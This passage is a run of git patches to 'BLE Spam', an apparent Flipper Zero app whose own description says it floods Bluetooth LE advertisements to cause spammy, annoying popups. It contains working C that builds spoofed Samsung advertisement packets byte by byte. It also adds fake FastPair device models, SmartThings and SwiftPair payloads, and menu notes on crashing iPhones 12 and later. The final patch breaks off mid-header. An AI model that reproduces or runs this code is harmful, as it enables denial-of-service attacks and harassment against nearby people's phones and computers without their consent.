scene_fastpair_model_id_custom_on_event(void* _ctx, SceneManagerEvent event return false; } void scene_fastpair_model_id_custom_on_exit(void* _ctx) { - UNUSED(_ctx); + Ctx* ctx = _ctx; + FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; + cfg->model_id = + (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00); } diff --git a/applications/external/ble_spam/protocols/smartthings.c b/applications/external/ble_spam/protocols/smartthings.c index 13b37443a..2d87affcb 100644 --- a/applications/external/ble_spam/protocols/smartthings.c +++ b/applications/external/ble_spam/protocols/smartthings.c @@ -215,13 +215,12 @@ void scene_smartthings_data_custom_on_enter(void* _ctx) { byte_input_set_header_text(byte_input, "Enter custom Data"); + ctx->byte_store[0] = (cfg->data >> 0x10) & 0xFF; + ctx->byte_store[1] = (cfg->data >> 0x08) & 0xFF; + ctx->byte_store[2] = (cfg->data >> 0x00) & 0xFF; + byte_input_set_result_callback( - byte_input, - data_custom_callback, - NULL, - ctx, - ((void*)&cfg->data) + 1, - sizeof(cfg->data) - 1); + byte_input, data_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } @@ -231,5 +230,8 @@ bool scene_smartthings_data_custom_on_event(void* _ctx, SceneManagerEvent event) return false; } void scene_smartthings_data_custom_on_exit(void* _ctx) { - UNUSED(_ctx); + Ctx* ctx = _ctx; + SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + cfg->data = + (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00); } From 562a634ca5192eece54e4b2deefea2b5ab0c7a6f Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 19:39:42 +0100 Subject: [PATCH 22/41] BLE Spam bump version --- applications/external/ble_spam/application.fam | 2 +- applications/external/ble_spam/ble_spam.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/applications/external/ble_spam/application.fam b/applications/external/ble_spam/application.fam index d66dbeb14..e3c454e87 100644 --- a/applications/external/ble_spam/application.fam +++ b/applications/external/ble_spam/application.fam @@ -8,7 +8,7 @@ App( fap_category="Bluetooth", fap_author="@Willy-JL @ECTO-1A @Spooks4576", fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/ble_spam", - fap_version="2.0", + fap_version="3.0", fap_description="Flood BLE advertisements to cause spammy and annoying popups/notifications", fap_icon_assets="icons", fap_icon_assets_symbol="ble_spam", diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 80a0a7e7f..67e07f9c6 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -277,7 +277,7 @@ static void draw_callback(Canvas* canvas, void* _ctx) { "App+Spam: \e#WillyJL\e# XFW\n" "Apple+Crash: \e#ECTO-1A\e#\n" "Android+Win: \e#Spooks4576\e#\n" - " Version \e#2.0\e#", + " Version \e#3.0\e#", false); break; default: { From a75122011dc282998eb7c6dab1121e2d6be2c45c Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Fri, 20 Oct 2023 22:40:04 +0100 Subject: [PATCH 23/41] BLE Spam move extra config after --- applications/external/ble_spam/ble_spam.h | 5 +++++ applications/external/ble_spam/protocols/_base.h | 2 +- .../external/ble_spam/protocols/continuity.c | 13 ++++--------- applications/external/ble_spam/protocols/fastpair.c | 9 +++------ .../external/ble_spam/protocols/smartthings.c | 9 +++------ .../external/ble_spam/protocols/swiftpair.c | 9 +++------ applications/external/ble_spam/scenes/config.c | 9 ++++----- 7 files changed, 23 insertions(+), 33 deletions(-) diff --git a/applications/external/ble_spam/ble_spam.h b/applications/external/ble_spam/ble_spam.h index 7f79f9434..edf2c55ca 100644 --- a/applications/external/ble_spam/ble_spam.h +++ b/applications/external/ble_spam/ble_spam.h @@ -16,6 +16,11 @@ enum { ViewVariableItemList, }; +enum { + ConfigRandomMac, + ConfigExtraStart = ConfigRandomMac, +}; + typedef struct Attack Attack; typedef struct { diff --git a/applications/external/ble_spam/protocols/_base.h b/applications/external/ble_spam/protocols/_base.h index d519f5bf8..0b6fdacbd 100644 --- a/applications/external/ble_spam/protocols/_base.h +++ b/applications/external/ble_spam/protocols/_base.h @@ -16,5 +16,5 @@ typedef struct { const Icon* icon; const char* (*get_name)(const ProtocolCfg* _cfg); void (*make_packet)(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg); - uint8_t (*config_list)(Ctx* ctx); + void (*extra_config)(Ctx* ctx); } Protocol; diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c index 710818689..70fa9e1e8 100644 --- a/applications/external/ble_spam/protocols/continuity.c +++ b/applications/external/ble_spam/protocols/continuity.c @@ -274,10 +274,12 @@ static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const Prot } enum { + _ConfigPpExtraStart = ConfigExtraStart, ConfigPpModelId, ConfigPpPrefix, }; enum { + _ConfigNaExtraStart = ConfigExtraStart, ConfigNaActionType, ConfigNaFlags, }; @@ -352,16 +354,14 @@ static void na_action_type_changed(VariableItem* item) { variable_item_set_current_value_text(item, "Random"); } } -static uint8_t continuity_config_list(Ctx* ctx) { +static void continuity_extra_config(Ctx* ctx) { ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; VariableItemList* list = ctx->variable_item_list; - uint8_t item_count = 0; VariableItem* item; size_t value_index; switch(cfg->type) { case ContinuityTypeProximityPair: { - item_count++; item = variable_item_list_add( list, "Model ID", pp_models_count + 1, pp_model_id_changed, cfg); const char* model_name = NULL; @@ -390,7 +390,6 @@ static uint8_t continuity_config_list(Ctx* ctx) { variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, model_name); - item_count++; item = variable_item_list_add(list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, cfg); const char* prefix_name = NULL; @@ -421,7 +420,6 @@ static uint8_t continuity_config_list(Ctx* ctx) { break; } case ContinuityTypeNearbyAction: { - item_count++; item = variable_item_list_add( list, "Action Type", na_actions_count + 1, na_action_type_changed, cfg); const char* action_name = NULL; @@ -447,7 +445,6 @@ static uint8_t continuity_config_list(Ctx* ctx) { variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, action_name); - item_count++; item = variable_item_list_add(list, "Flags", 0, NULL, NULL); const char* flags_name = NULL; char flags_name_buf[3]; @@ -466,15 +463,13 @@ static uint8_t continuity_config_list(Ctx* ctx) { } variable_item_list_set_enter_callback(list, config_callback, ctx); - - return item_count; } const Protocol protocol_continuity = { .icon = &I_apple, .get_name = continuity_get_name, .make_packet = continuity_make_packet, - .config_list = continuity_config_list, + .extra_config = continuity_extra_config, }; static void pp_model_id_callback(void* _ctx, uint32_t index) { diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index e5b95894e..b80dcf4e4 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -74,6 +74,7 @@ static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const Protoc } enum { + _ConfigExtraStart = ConfigExtraStart, ConfigModelId, }; static void config_callback(void* _ctx, uint32_t index) { @@ -98,14 +99,12 @@ static void model_id_changed(VariableItem* item) { variable_item_set_current_value_text(item, "Random"); } } -static uint8_t fastpair_config_list(Ctx* ctx) { +static void fastpair_extra_config(Ctx* ctx) { FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; VariableItemList* list = ctx->variable_item_list; - uint8_t item_count = 0; VariableItem* item; size_t value_index; - item_count++; item = variable_item_list_add(list, "Model ID", models_count + 1, model_id_changed, cfg); const char* model_name = NULL; char model_name_buf[9]; @@ -130,15 +129,13 @@ static uint8_t fastpair_config_list(Ctx* ctx) { variable_item_set_current_value_text(item, model_name); variable_item_list_set_enter_callback(list, config_callback, ctx); - - return item_count; } const Protocol protocol_fastpair = { .icon = &I_android, .get_name = fastpair_get_name, .make_packet = fastpair_make_packet, - .config_list = fastpair_config_list, + .extra_config = fastpair_extra_config, }; static void model_id_callback(void* _ctx, uint32_t index) { diff --git a/applications/external/ble_spam/protocols/smartthings.c b/applications/external/ble_spam/protocols/smartthings.c index 2d87affcb..efa33d7c9 100644 --- a/applications/external/ble_spam/protocols/smartthings.c +++ b/applications/external/ble_spam/protocols/smartthings.c @@ -80,6 +80,7 @@ void smartthings_make_packet(uint8_t* out_size, uint8_t** out_packet, const Prot } enum { + _ConfigExtraStart = ConfigExtraStart, ConfigData, }; static void config_callback(void* _ctx, uint32_t index) { @@ -104,14 +105,12 @@ static void data_changed(VariableItem* item) { variable_item_set_current_value_text(item, "Random"); } } -static uint8_t smartthings_config_list(Ctx* ctx) { +static void smartthings_extra_config(Ctx* ctx) { SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; VariableItemList* list = ctx->variable_item_list; - uint8_t item_count = 0; VariableItem* item; size_t value_index; - item_count++; item = variable_item_list_add(list, "Data", datas_count + 1, data_changed, cfg); const char* data_name = NULL; char data_name_buf[9]; @@ -136,15 +135,13 @@ static uint8_t smartthings_config_list(Ctx* ctx) { variable_item_set_current_value_text(item, data_name); variable_item_list_set_enter_callback(list, config_callback, ctx); - - return item_count; } const Protocol protocol_smartthings = { .icon = &I_android, .get_name = smartthings_get_name, .make_packet = smartthings_make_packet, - .config_list = smartthings_config_list, + .extra_config = smartthings_extra_config, }; static void data_callback(void* _ctx, uint32_t index) { diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c index 802e93201..8a94909ee 100644 --- a/applications/external/ble_spam/protocols/swiftpair.c +++ b/applications/external/ble_spam/protocols/swiftpair.c @@ -48,6 +48,7 @@ static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const Proto } enum { + _ConfigExtraStart = ConfigExtraStart, ConfigDisplayName, }; static void config_callback(void* _ctx, uint32_t index) { @@ -60,27 +61,23 @@ static void config_callback(void* _ctx, uint32_t index) { break; } } -static uint8_t swiftpair_config_list(Ctx* ctx) { +static void swiftpair_extra_config(Ctx* ctx) { SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair; VariableItemList* list = ctx->variable_item_list; - uint8_t item_count = 0; VariableItem* item; - item_count++; item = variable_item_list_add(list, "Display Name", 0, NULL, NULL); variable_item_set_current_value_text( item, cfg->display_name[0] != '\0' ? cfg->display_name : "Random"); variable_item_list_set_enter_callback(list, config_callback, ctx); - - return item_count; } const Protocol protocol_swiftpair = { .icon = &I_windows, .get_name = swiftpair_get_name, .make_packet = swiftpair_make_packet, - .config_list = swiftpair_config_list, + .extra_config = swiftpair_extra_config, }; static void display_name_callback(void* _ctx) { diff --git a/applications/external/ble_spam/scenes/config.c b/applications/external/ble_spam/scenes/config.c index a387fbd25..d8a73776a 100644 --- a/applications/external/ble_spam/scenes/config.c +++ b/applications/external/ble_spam/scenes/config.c @@ -15,16 +15,15 @@ void scene_config_on_enter(void* _ctx) { variable_item_list_reset(list); variable_item_list_set_header(list, ctx->attack->title); - uint8_t item_count = 0; - if(ctx->attack->protocol && ctx->attack->protocol->config_list) { - item_count = ctx->attack->protocol->config_list(ctx); - } - UNUSED(item_count); item = variable_item_list_add(list, "Random MAC", 2, random_mac_changed, ctx); variable_item_set_current_value_index(item, ctx->attack->payload.random_mac); variable_item_set_current_value_text(item, ctx->attack->payload.random_mac ? "ON" : "OFF"); + if(ctx->attack->protocol && ctx->attack->protocol->extra_config) { + ctx->attack->protocol->extra_config(ctx); + } + variable_item_list_set_selected_item( list, scene_manager_get_scene_state(ctx->scene_manager, SceneConfig)); From 3f0b9f2d417c3fd3a60e9c09953c00974507be80 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Fri, 20 Oct 2023 23:38:11 +0100 Subject: [PATCH 24/41] BLE Spam add some help messages to config menus --- applications/external/ble_spam/ble_spam.c | 2 +- applications/external/ble_spam/protocols/continuity.c | 5 +++++ applications/external/ble_spam/protocols/fastpair.c | 2 ++ applications/external/ble_spam/protocols/swiftpair.c | 2 ++ applications/external/ble_spam/scenes/config.c | 4 +++- 5 files changed, 13 insertions(+), 2 deletions(-) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 67e07f9c6..2cf3f2fb6 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -102,7 +102,7 @@ static Attack attacks[] = { }, { .title = "Windows Device Found", - .text = "Requires enabling SwiftPair", + .text = "No cooldown, short range", .protocol = &protocol_swiftpair, .payload = { diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c index 70fa9e1e8..24940dd40 100644 --- a/applications/external/ble_spam/protocols/continuity.c +++ b/applications/external/ble_spam/protocols/continuity.c @@ -458,6 +458,11 @@ static void continuity_extra_config(Ctx* ctx) { variable_item_set_current_value_text(item, flags_name); break; } + case ContinuityTypeCustomCrash: { + variable_item_list_add(list, "Lock+unlock helps to crash", 0, NULL, NULL); + variable_item_list_add(list, "Works on iPhone 12 and up", 0, NULL, NULL); + break; + } default: break; } diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index b80dcf4e4..0f6cdd146 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -128,6 +128,8 @@ static void fastpair_extra_config(Ctx* ctx) { variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, model_name); + variable_item_list_add(list, "Requires Google services", 0, NULL, NULL); + variable_item_list_set_enter_callback(list, config_callback, ctx); } diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c index 8a94909ee..caa410130 100644 --- a/applications/external/ble_spam/protocols/swiftpair.c +++ b/applications/external/ble_spam/protocols/swiftpair.c @@ -70,6 +70,8 @@ static void swiftpair_extra_config(Ctx* ctx) { variable_item_set_current_value_text( item, cfg->display_name[0] != '\0' ? cfg->display_name : "Random"); + variable_item_list_add(list, "Requires enabling SwiftPair", 0, NULL, NULL); + variable_item_list_set_enter_callback(list, config_callback, ctx); } diff --git a/applications/external/ble_spam/scenes/config.c b/applications/external/ble_spam/scenes/config.c index d8a73776a..afd7159af 100644 --- a/applications/external/ble_spam/scenes/config.c +++ b/applications/external/ble_spam/scenes/config.c @@ -20,7 +20,9 @@ void scene_config_on_enter(void* _ctx) { variable_item_set_current_value_index(item, ctx->attack->payload.random_mac); variable_item_set_current_value_text(item, ctx->attack->payload.random_mac ? "ON" : "OFF"); - if(ctx->attack->protocol && ctx->attack->protocol->extra_config) { + if(!ctx->attack->protocol) { + variable_item_list_add(list, "None shall escape the S I N K", 0, NULL, NULL); + } else if(ctx->attack->protocol->extra_config) { ctx->attack->protocol->extra_config(ctx); } From 5171b1645cf19a815f02e4639a09e8eca18f4638 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 21 Oct 2023 00:06:55 +0100 Subject: [PATCH 25/41] BLE Spam refactor SmartThings for more types --- applications/external/ble_spam/ble_spam.c | 2 +- .../external/ble_spam/protocols/smartthings.c | 226 ++++++++++-------- .../external/ble_spam/protocols/smartthings.h | 12 +- .../ble_spam/protocols/smartthings_scenes.h | 4 +- 4 files changed, 145 insertions(+), 99 deletions(-) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 2cf3f2fb6..d929a4f6c 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -88,7 +88,7 @@ static Attack attacks[] = { }, }, { - .title = "Samsung Earbuds Pair", + .title = "Samsung Buds Pair", .text = "No cooldown, long range", .protocol = &protocol_smartthings, .payload = diff --git a/applications/external/ble_spam/protocols/smartthings.c b/applications/external/ble_spam/protocols/smartthings.c index efa33d7c9..61e91f5ea 100644 --- a/applications/external/ble_spam/protocols/smartthings.c +++ b/applications/external/ble_spam/protocols/smartthings.c @@ -7,7 +7,7 @@ const struct { uint32_t value; const char* name; -} datas[] = { +} buds_models[] = { {0x39EA48, "Light Purple Buds"}, {0xA7C62C, "Bluish Silver Buds"}, {0x850116, "Black Buds Live"}, {0x3D8F41, "Gray and Black Buds"}, {0x3B6D02, "Bluish Chrome Buds"}, {0xAE063C, "Grey Beige Buds"}, @@ -19,89 +19,117 @@ const struct { {0xAE073A, "Black and White Buds"}, {0x011716, "Sleek Black Buds"}, {0x9D1700, "Fallback Image"}, {0xEE7A0C, "Fallback Buds"}, }; -const uint8_t datas_count = COUNT_OF(datas); +const uint8_t buds_models_count = COUNT_OF(buds_models); -const char* smartthings_get_name(const ProtocolCfg* _cfg) { +static const char* type_names[SmartthingsTypeMAX] = { + [SmartthingsTypeBuds] = "SmartThings Buds", +}; +static const char* smartthings_get_name(const ProtocolCfg* _cfg) { const SmartthingsCfg* cfg = &_cfg->smartthings; - UNUSED(cfg); - return "SmartThings"; + return type_names[cfg->type]; } +static uint8_t packet_sizes[SmartthingsTypeMAX] = { + [SmartthingsTypeBuds] = 31, +}; void smartthings_make_packet(uint8_t* out_size, uint8_t** out_packet, const ProtocolCfg* _cfg) { const SmartthingsCfg* cfg = _cfg ? &_cfg->smartthings : NULL; - uint32_t data; - if(cfg && cfg->data != 0x000000) { - data = cfg->data; + SmartthingsType type; + if(cfg) { + type = cfg->type; } else { - data = datas[rand() % datas_count].value; + type = rand() % SmartthingsTypeMAX; } - uint8_t size = 31; + uint8_t size = packet_sizes[type]; uint8_t* packet = malloc(size); uint8_t i = 0; - packet[i++] = 27; // Size - packet[i++] = 0xFF; // AD Type (Manufacturer Specific) - packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.) - packet[i++] = 0x00; // ... - packet[i++] = 0x42; - packet[i++] = 0x09; - packet[i++] = 0x81; - packet[i++] = 0x02; - packet[i++] = 0x14; - packet[i++] = 0x15; - packet[i++] = 0x03; - packet[i++] = 0x21; - packet[i++] = 0x01; - packet[i++] = 0x00; - packet[i++] = (data >> 0x10) & 0xFF; - packet[i++] = (data >> 0x08) & 0xFF; - packet[i++] = 0x01; - packet[i++] = (data >> 0x00) & 0xFF; - packet[i++] = 0x06; - packet[i++] = 0x3C; - packet[i++] = 0x00; - packet[i++] = 0x00; - packet[i++] = 0x00; - packet[i++] = 0x00; - packet[i++] = 0x00; - packet[i++] = 0x00; - packet[i++] = 0x00; - packet[i++] = 0x00; + switch(type) { + case SmartthingsTypeBuds: { + uint32_t model; + if(cfg && cfg->data.buds.model != 0x000000) { + model = cfg->data.buds.model; + } else { + model = buds_models[rand() % buds_models_count].value; + } - packet[i++] = 16; // Size - packet[i++] = 0xFF; // AD Type (Manufacturer Specific) - packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.) - // Truncated AD segment, Android seems to fill in the rest with zeros + packet[i++] = 27; // Size + packet[i++] = 0xFF; // AD Type (Manufacturer Specific) + packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.) + packet[i++] = 0x00; // ... + packet[i++] = 0x42; + packet[i++] = 0x09; + packet[i++] = 0x81; + packet[i++] = 0x02; + packet[i++] = 0x14; + packet[i++] = 0x15; + packet[i++] = 0x03; + packet[i++] = 0x21; + packet[i++] = 0x01; + packet[i++] = 0x00; + packet[i++] = (model >> 0x10) & 0xFF; + packet[i++] = (model >> 0x08) & 0xFF; + packet[i++] = 0x01; + packet[i++] = (model >> 0x00) & 0xFF; + packet[i++] = 0x06; + packet[i++] = 0x3C; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + + packet[i++] = 16; // Size + packet[i++] = 0xFF; // AD Type (Manufacturer Specific) + packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.) + // Truncated AD segment, Android seems to fill in the rest with zeros + break; + } + default: + break; + } *out_size = size; *out_packet = packet; } enum { - _ConfigExtraStart = ConfigExtraStart, - ConfigData, + _ConfigBudsExtraStart = ConfigExtraStart, + ConfigBudsModel, }; static void config_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; + SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); - switch(index) { - case ConfigData: - scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsData); + switch(cfg->type) { + case SmartthingsTypeBuds: { + switch(index) { + case ConfigBudsModel: + scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsBudsModel); + break; + default: + break; + } + break; + } default: break; } } -static void data_changed(VariableItem* item) { +static void buds_model_changed(VariableItem* item) { SmartthingsCfg* cfg = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); if(index) { index--; - cfg->data = datas[index].value; - variable_item_set_current_value_text(item, datas[index].name); + cfg->data.buds.model = buds_models[index].value; + variable_item_set_current_value_text(item, buds_models[index].name); } else { - cfg->data = 0x000000; + cfg->data.buds.model = 0x000000; variable_item_set_current_value_text(item, "Random"); } } @@ -111,28 +139,36 @@ static void smartthings_extra_config(Ctx* ctx) { VariableItem* item; size_t value_index; - item = variable_item_list_add(list, "Data", datas_count + 1, data_changed, cfg); - const char* data_name = NULL; - char data_name_buf[9]; - if(cfg->data == 0x000000) { - data_name = "Random"; - value_index = 0; - } else { - for(uint8_t i = 0; i < datas_count; i++) { - if(cfg->data == datas[i].value) { - data_name = datas[i].name; - value_index = i + 1; - break; + switch(cfg->type) { + case SmartthingsTypeBuds: { + item = + variable_item_list_add(list, "Model", buds_models_count + 1, buds_model_changed, cfg); + const char* model_name = NULL; + char model_name_buf[9]; + if(cfg->data.buds.model == 0x000000) { + model_name = "Random"; + value_index = 0; + } else { + for(uint8_t i = 0; i < buds_models_count; i++) { + if(cfg->data.buds.model == buds_models[i].value) { + model_name = buds_models[i].name; + value_index = i + 1; + break; + } + } + if(!model_name) { + snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->data.buds.model); + model_name = model_name_buf; + value_index = buds_models_count + 1; } } - if(!data_name) { - snprintf(data_name_buf, sizeof(data_name_buf), "%06lX", cfg->data); - data_name = data_name_buf; - value_index = datas_count + 1; - } + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, model_name); + break; + } + default: + break; } - variable_item_set_current_value_index(item, value_index); - variable_item_set_current_value_text(item, data_name); variable_item_list_set_enter_callback(list, config_callback, ctx); } @@ -144,24 +180,24 @@ const Protocol protocol_smartthings = { .extra_config = smartthings_extra_config, }; -static void data_callback(void* _ctx, uint32_t index) { +static void buds_model_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; switch(index) { case 0: - cfg->data = 0x000000; + cfg->data.buds.model = 0x000000; scene_manager_previous_scene(ctx->scene_manager); break; - case datas_count + 1: - scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsDataCustom); + case buds_models_count + 1: + scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsBudsModelCustom); break; default: - cfg->data = datas[index - 1].value; + cfg->data.buds.model = buds_models[index - 1].value; scene_manager_previous_scene(ctx->scene_manager); break; } } -void scene_smartthings_data_on_enter(void* _ctx) { +void scene_smartthings_buds_model_on_enter(void* _ctx) { Ctx* ctx = _ctx; SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; Submenu* submenu = ctx->submenu; @@ -169,66 +205,66 @@ void scene_smartthings_data_on_enter(void* _ctx) { bool found = false; submenu_reset(submenu); - submenu_add_item(submenu, "Random", 0, data_callback, ctx); - if(cfg->data == 0x000000) { + submenu_add_item(submenu, "Random", 0, buds_model_callback, ctx); + if(cfg->data.buds.model == 0x000000) { found = true; selected = 0; } - for(uint8_t i = 0; i < datas_count; i++) { - submenu_add_item(submenu, datas[i].name, i + 1, data_callback, ctx); - if(!found && cfg->data == datas[i].value) { + for(uint8_t i = 0; i < buds_models_count; i++) { + submenu_add_item(submenu, buds_models[i].name, i + 1, buds_model_callback, ctx); + if(!found && cfg->data.buds.model == buds_models[i].value) { found = true; selected = i + 1; } } - submenu_add_item(submenu, "Custom", datas_count + 1, data_callback, ctx); + submenu_add_item(submenu, "Custom", buds_models_count + 1, buds_model_callback, ctx); if(!found) { found = true; - selected = datas_count + 1; + selected = buds_models_count + 1; } submenu_set_selected_item(submenu, selected); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); } -bool scene_smartthings_data_on_event(void* _ctx, SceneManagerEvent event) { +bool scene_smartthings_buds_model_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } -void scene_smartthings_data_on_exit(void* _ctx) { +void scene_smartthings_buds_model_on_exit(void* _ctx) { UNUSED(_ctx); } -static void data_custom_callback(void* _ctx) { +static void buds_model_custom_callback(void* _ctx) { Ctx* ctx = _ctx; scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager); } -void scene_smartthings_data_custom_on_enter(void* _ctx) { +void scene_smartthings_buds_model_custom_on_enter(void* _ctx) { Ctx* ctx = _ctx; SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; ByteInput* byte_input = ctx->byte_input; - byte_input_set_header_text(byte_input, "Enter custom Data"); + byte_input_set_header_text(byte_input, "Enter custom Model"); - ctx->byte_store[0] = (cfg->data >> 0x10) & 0xFF; - ctx->byte_store[1] = (cfg->data >> 0x08) & 0xFF; - ctx->byte_store[2] = (cfg->data >> 0x00) & 0xFF; + ctx->byte_store[0] = (cfg->data.buds.model >> 0x10) & 0xFF; + ctx->byte_store[1] = (cfg->data.buds.model >> 0x08) & 0xFF; + ctx->byte_store[2] = (cfg->data.buds.model >> 0x00) & 0xFF; byte_input_set_result_callback( - byte_input, data_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3); + byte_input, buds_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } -bool scene_smartthings_data_custom_on_event(void* _ctx, SceneManagerEvent event) { +bool scene_smartthings_buds_model_custom_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } -void scene_smartthings_data_custom_on_exit(void* _ctx) { +void scene_smartthings_buds_model_custom_on_exit(void* _ctx) { Ctx* ctx = _ctx; SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; - cfg->data = + cfg->data.buds.model = (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00); } diff --git a/applications/external/ble_spam/protocols/smartthings.h b/applications/external/ble_spam/protocols/smartthings.h index 7fc39b174..38717abd0 100644 --- a/applications/external/ble_spam/protocols/smartthings.h +++ b/applications/external/ble_spam/protocols/smartthings.h @@ -4,8 +4,18 @@ // Hacked together by @Willy-JL and @Spooks4576 // Research by @Spooks4576 +typedef enum { + SmartthingsTypeBuds, + SmartthingsTypeMAX, +} SmartthingsType; + typedef struct { - uint32_t data; + SmartthingsType type; + union { + struct { + uint32_t model; + } buds; + } data; } SmartthingsCfg; extern const Protocol protocol_smartthings; diff --git a/applications/external/ble_spam/protocols/smartthings_scenes.h b/applications/external/ble_spam/protocols/smartthings_scenes.h index 81b4fcb80..d765e4922 100644 --- a/applications/external/ble_spam/protocols/smartthings_scenes.h +++ b/applications/external/ble_spam/protocols/smartthings_scenes.h @@ -1,2 +1,2 @@ -ADD_SCENE(smartthings_data, SmartthingsData) -ADD_SCENE(smartthings_data_custom, SmartthingsDataCustom) +ADD_SCENE(smartthings_buds_model, SmartthingsBudsModel) +ADD_SCENE(smartthings_buds_model_custom, SmartthingsBudsModelCustom) From 857b8815543c4e3a40da62009a4e956cba2cc04a Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 21 Oct 2023 02:43:02 +0100 Subject: [PATCH 26/41] BLE Spam add 7 more FastPair models Thanks @DiamondRoPlayz and @xAstroBoy ! --- applications/external/ble_spam/protocols/fastpair.c | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index 0f6cdd146..6744ac005 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -16,6 +16,9 @@ const struct { {0x92BBBD, "Pixel Buds"}, {0xD446A7, "Sony XM5"}, {0x2D7A23, "Sony WF-1000XM4"}, + {0x0E30C3, "Razer Hammerhead TWS"}, + {0x72EF8D, "Razer Hammerhead TWS X"}, + {0x72FB00, "Soundcore Spirit Pro GVA"}, // Custom debug popups {0xD99CA1, "Flipper Zero"}, @@ -29,6 +32,10 @@ const struct { {0x0C0B67, "Xtreme Cta"}, {0x13B39D, "Talking Sasquach"}, {0xAA1FE1, "ClownMaster"}, + {0x7C6CDB, "Obama"}, + {0x005EF9, "Ryanair"}, + {0xE2106F, "FBI"}, + {0xB37A62, "Tesla"}, }; const uint8_t models_count = COUNT_OF(models); From 4a97cb40b860b2e761f0bdfb776bdd726c6efaeb Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 21 Oct 2023 03:54:59 +0100 Subject: [PATCH 27/41] BLE Spam add Samsung Watch spam --- applications/external/ble_spam/ble_spam.c | 25 